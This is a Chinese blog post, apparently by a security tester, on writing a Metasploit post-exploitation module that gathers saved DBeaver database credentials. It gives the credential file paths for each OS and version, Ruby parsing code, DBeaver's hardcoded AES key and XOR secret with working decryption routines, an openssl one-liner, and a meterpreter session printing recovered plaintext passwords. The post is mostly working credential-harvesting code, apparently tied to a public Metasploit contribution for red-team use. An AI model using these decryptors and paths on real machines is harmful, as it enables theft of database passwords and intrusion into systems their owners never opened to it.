编写Metasploit插件获取DBeaver密码

目录

前言

  • https://github.com/dbeaver/dbeaver是一个开源社区版免费数据库管理工具，支持的连接方式众多，深受大家喜欢，在实战中也经常遇到该软件，所以打算编写后渗透插件获取dbeaver的数据库帐号密码信息。

凭证存放的路径

  • 版本6.1.3及以上
系统路径
WindowC:\Users\FireEye\AppData\Roaming\DBeaverData\workspace6\General.dbeaver\
Linux~/.local/share/DBeaverData/workspace6/General/.dbeaver
Mac~/Library/DBeaverData/workspace6/General/.dbeaver/
  • 版本6.1.3以下
系统路径
WindowC:\Users\FireEye.dbeaver4\General.dbeaver-data-sources.xml
Linux~/.dbeaver/General/
Mac~/.dbeaver/General/
  • 在目录下面有两个文件：credentials-config.json，data-sources.json，前面的保存加密过后的密码，后面的保存连接名称，主机名，端口，数据库等等信息。
  • data-sources.json里面没有密码，mysql8-1849e7eaca6-1d233a585c8f4388，为连接名称，下面的是连接配置
{
	"folders": {},
	"connections": {
		"mysql8-1849e7eaca6-1d233a585c8f4388": {
			"provider": "mysql",
			"driver": "mysql8",
			"name": "db",
			"save-password": true,
			"read-only": false,
			"configuration": {
				"host": "localhost",
				"port": "3306",
				"database": "db",
				"url": "jdbc:mysql://localhost:3306/db",
				"home": "mysql_client",
				"type": "dev",
				"auth-model": "native",
				"handlers": {}
			}
		}
	},
	"connection-types": {
		"dev": {
			"name": "Development",
			"color": "255,255,255",
			"description": "Regular development database",
			"auto-commit": true,
			"confirm-execute": false,
			"confirm-data-change": false,
			"auto-close-transactions": false
		}
	}
}

  • 剩下那个文件就是按照不同的版本加密后的二进制文件，并不是一个明文json文件，但是解密后是一个json格式的。

  • 旧版的：.dbeaver-data-sources.xml

    <?xml version="1.0" encoding="UTF-8"?>
<data-sources>
	<data-source id="mysql8-184d21e1de1-62edc23b6c8c8636" provider="mysql" driver="mysql8" name="Test_MYSQL" save-password="true" read-only="false">
		<connection host="localhost" port="3306" server="" database="db" url="jdbc:mysql://localhost:3306/db" user="root" password="BwEVNH5TRQUWBQksE3ak" type="dev"/>
	</data-source>
	<data-source id="postgres-jdbc-184d221fd09-20a857415882add4" provider="postgresql" driver="postgres-jdbc" name="Test_PostgreSQL" save-password="true" read-only="false">
		<connection host="localhost" port="5432" server="" database="postgres" url="jdbc:postgresql://localhost:5432/postgres" user="postgres" password="BwEVNH5TRQUWBQksEwQltw==" type="dev">
			<provider-property name="@dbeaver-show-non-default-db@" value="false"/>
			<provider-property name="@dbeaver-show-template-db@" value="false"/>
		</connection>
	</data-source>
	<filters/>
</data-sources>

版本配置合并

  • 当你从低版本更新到最新版本，软件会提示你是否迁移，但是迁移过后还是一个旧版的XML文件，而且算法也没有更新，所以不能单凭路径判断解密版本，直接按照文件后缀名判断就可以了，xml为旧版，json为新版。

Untitled

  • 这个迁移操作就是把整个文件夹拷贝过去，就算你在之前的那个文件有其他文件也会被拷贝过去的。导致就算是新版的配置文也是.dbeaver-data-sources.xml，只不过路径变成了C:\Users\FireEye\AppData\Roaming\DBeaverData\workspace6\General。

数据提取

XML文件的

def parse_xml(data)
  mxml = REXML::Document.new(data).root
  result_hashmap = Hash.new
  mxml.elements.to_a('//data-sources//data-source//connection//').each do |node|
    if node.name == 'connection'
      data_source_id = node.parent.attributes['id']
      result_hashmap[data_source_id]= Hash[
        'provider'=>node.parent.attributes['provider'],
        'name'=>node.parent.attributes['name'],
        'host'=>node.attributes['host'],
        'port'=>node.attributes['port'],
        'database'=>node.attributes['database'],
        'url'=>node.attributes['url'],
        'user'=>node.attributes['user'],
        'password'=>decrypt_dbeaver_6_1_3(node.attributes['password']),
    ]
    end
  end
  print_good("#{result_hashmap}")
  return result_hashmap
end
  • 得到结果返回一个HashMap，以id为键，数据库配置为值，为了兼容新版的统一结构，因为新版的帐号密码和连接配置分开了两个json文件，两个json文件对对应关系就是以id为主键一对一关系的。
[+] {"mysql8-184d21e1de1-62edc23b6c8c8636"=>{"provider"=>"mysql", "name"=>"Test_MYSQL", "host"=>"localhost", "port"=>"3306", "database"=>"db", "url"=>"jdbc:mysql://localhost:3306/db", "user"=>"root", "password"=>"test_password"}, "postgres-jdbc-184d221fd09-20a857415882add4"=>{"provider"=>"postgresql", "name"=>"Test_PostgreSQL", "host"=>"localhost", "port"=>"5432", "database"=>"postgres", "url"=>"jdbc:postgresql://localhost:5432/postgres", "user"=>"postgres", "password"=>"test_passwordr"}}

JSON文件的

  • 先将凭证解密成明文json字符串，然后序列化后一起传到处理data_sources的json函数了，利用id的对应关系拼接数据。
def parse_data_sources(data, credentials)
  result_hashmap = Hash.new
  begin
    data_sources = JSON.parse(data)
    connections = data_sources['connections']
    connections.each do |data_source_id, item|
      result_hashmap[data_source_id] = Hash[
        'name' => item['name'],
        'provider' => item['provider'],
        'host' => item['configuration']['host'],
        'port' => item['configuration']['port'],
        'user' => credentials[data_source_id]['#connection']['user'],
        'password' => credentials[data_source_id]['#connection']['password'],
        'database' => item['configuration']['database'],
        'url' => item['configuration']['url'],
        'type' => item['configuration']['type']
    ]
    end
  rescue ::JSON::ParserError
    return result_hashmap
  end
  return result_hashmap
end

解密算法

  • dbeaver有两个算法，分别在版本6.1.3，做为分界线，

Untitled

  • JSON解密算法
➜  ~ openssl aes-128-cbc -d -K babb4a9f774ab853c96c2d653dfe544a -iv 00000000000000000000000000000000 -in "${HOME}/Library/DBeaverData/workspace6/General/.dbeaver/credentials-config.json" | dd bs=1 skip=16 2>/dev/null

AES_KEY = "\xBA\xBBJ\x9FwJ\xB8S\xC9l-e=\xFETJ".freeze
def decrypt_dbeaver_credentials(data)
  aes = OpenSSL::Cipher.new('AES-128-CBC')
  begin
    aes.decrypt
    aes.key = AES_KEY
    plaintext = aes.update(data)
    plaintext << aes.final
  rescue OpenSSL::Cipher::CipherError => e
    puts "Unable to decode: \"#{data}\" Exception: #{e}"
  end
  return plaintext[plaintext.index('{"')..]
end

Untitled

  • XML文件的解密算法，非常的简单，硬编码了异或密钥，将XML文件的password字段的值base64解码后回去数据长度，以数据长度为range索引，数据每位与异或密钥的索引与密钥长度取余得到单个字符，但是最后面两个字符不能异或，所以要删除掉，最后把字符拼接一起就是明文密码了。

    SECRET_KEY = 'sdf@!#$verf^wv%6Fwe%$$#FFGwfsdefwfe135s$^H)dg'.freeze

def decrypt_dbeaver_6_1_3(base64_string)
  plaintext=""
  if base64_string.nil?
    return  plaintext
  end
  data = Rex::Text.decode_base64(base64_string)
  for i in 0..data.length-3
    xor_data = Rex::Text.xor(data[i],SECRET_KEY[i% SECRET_KEY.length])
    plaintext=plaintext+xor_data
  end
  return plaintext
end

效果

meterpreter > run post/windows/gather/credentials/dbeaver

[*] Gather Dbeaver Passwords on FireEye
[+] dbeaver .dbeaver-data-sources.xml saved to /home/kali-team/.msf4/loot/20221205145256_default_172.16.153.128_dbeaver.creds_319751.txt
[*] Finished processing C:\Users\FireEye\.dbeaver4\General\.dbeaver-data-sources.xml
[+] dbeaver credentials-config.json saved to /home/kali-team/.msf4/loot/20221205145256_default_172.16.153.128_dbeaver.creds_334807.txt
[+] dbeaver data-sources.json saved to /home/kali-team/.msf4/loot/20221205145256_default_172.16.153.128_dbeaver.creds_309767.txt
[*] Finished processing C:\Users\FireEye\AppData\Roaming\DBeaverData\workspace6\General\.dbeaver
[+] Passwords stored in: /home/kali-team/.msf4/loot/20221205145256_default_172.16.153.128_host.dbeaver_421133.txt
[+] Dbeaver Password
================

Name             Protocol    Hostname   Port  Username  Password        DB        URI                                        Type
----             --------    --------   ----  --------  --------        --        ---                                        ----
Test_MYSQL       mysql       localhost  3306  root      test_password   db        jdbc:mysql://localhost:3306/db             dev
Test_PostgreSQL  postgresql  localhost  5432  postgres  test_passwordr  postgres  jdbc:postgresql://localhost:5432/postgres  dev
localhost        mysql       localhost  3306  root      test_mysql      db        jdbc:mysql://localhost:3306/db             test
postgres         postgresql  localhost  5432  postgres  test_postgres   postgres  jdbc:postgresql://localhost:5432/postgres  prod

meterpreter >

参考

https://github.com/rapid7/metasploit-framework/pull/17337

https://github.com/dbeaver/dbeaver/wiki/Admin-Manage-Connections

https://stackoverflow.com/questions/39928401/recover-db-password-stored-in-my-dbeaver-connection